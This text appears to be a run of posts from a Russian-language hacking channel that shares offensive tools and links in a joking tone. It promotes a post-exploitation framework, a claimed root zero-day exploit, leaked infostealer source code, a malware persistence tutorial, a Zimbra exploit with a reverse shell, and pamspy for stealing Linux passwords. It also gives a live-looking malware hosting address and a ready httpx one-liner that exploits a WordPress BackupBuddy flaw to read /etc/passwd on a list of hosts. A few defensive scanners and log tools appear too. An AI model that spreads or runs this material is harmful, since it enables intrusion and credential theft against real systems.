Зато у нас без пароля на архив 😜😜😜

Приходите на ежегодный праздник имени Кобальта))

WhatWeb
Next generation web scanner
Жирнющий сканер, комбайн
Из интересного: Over 1800 plugins и столько же разработчиков 😜
Читаем, качаем, испытываем

#scanner #security

Default Credentials Cheat Sheet
Большой список дефолтных логинов\паролей от железяк и всяких сервисов. Это бывает полезно
Забрать
😎
#password #default

А вот и 256 день в году. всех сопричастных с праздником !
😎

Мы очень, очень рады, представить Вам ГЕРОИНН
Первый дозняк бесплатно !
так вот, Heroinn препарат кросс-платформенный и используется как post-exploitation framework
Прекурсором является RUST - который вызывает сильные привыкание (сильнее только python - запрещен в РФ)
В общем берем инсулинку, Варим и пробуем тут

#framework

ZeroDay в оконном менеджере Enlightenment
привелегии до root
протестированно на ubuntu 22.04, в теории работает в любом дистре
Забрать готовый exploit

#exploit #linux #zeroday

Ну ка быстро признались, чей RATник ?
hXXp://188.227.57.46/folder/
MSI
CORE
report

#malware

На xss.is слили в сеть исходники Taurus/Predator The Thief
Тред\исходники

#malware

Malware development: persistence - part 1. Registry run keys. C++ example.
Read

#walware #windows

Wordpress vuln\CVE
plugin: BackupBuddy
*

cat hosts |httpx -noscript -path "/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd" -match-string "root:x:0:0"

*
Уже неделю активно используется для похека wordpress хостов
#wordpress #cve

Злой Putty, корейская морковка, работа_мечты_Amazon.iso и троян AIRDRY.V2'
Не понятно ? тогда читаем расследование от bleepingcomputer.com

Gitea - Remote Code Execution (for version 1.16.6)
CVE-2022-30781 - описание

#exploit

Мы уже постили exploit для CVE-2022-27925 (zimbra)
Вот тот же сплоит, только с реализацией reverseShell (для ленивых)
😋

админам на заметку:
Как быстро раcпарсить RDP логи и понять как авторизовался удаленный юзер (kerberos или NTLM)
Download get-RdpLogonEvent.ps1

#windows #rdp

SecretScanner
Ищем секреты в образах контейнеров или файловых системах.
*
Инструмент автономный, ищет контейнеры и файловые системы хоста, после чего сравнивает найденное с со своей базой данных, в которой на данный момент около 140 секретных типов
Download

#docker #security

pamspy - Воруем учетки в Linux используя eBPF
PAM модулями пользуются многие приложения для аутентификации (sudo, sshd, passwd и так далее), и статей по теме заBACKDOORивания PAM модулей в инете предостаточно.
*
pamspy подгружает пользовательскую программу eBPF, чтобы перехватить функцию pam_get_authtok из libpam.so. И каждый раз когда условный пользователь пытается пройти аутентификацию он дергает pam_get_authtok - тут то pamspy выдернет пароль !
*
DOWNLOAD ——-> pamspy

#linux #pam

Cobalt Strike: и его payloads
Разбираемся что и как, анализируем и декодируем. Хорошая статья, рекомендую !
Read

#cobaltstrike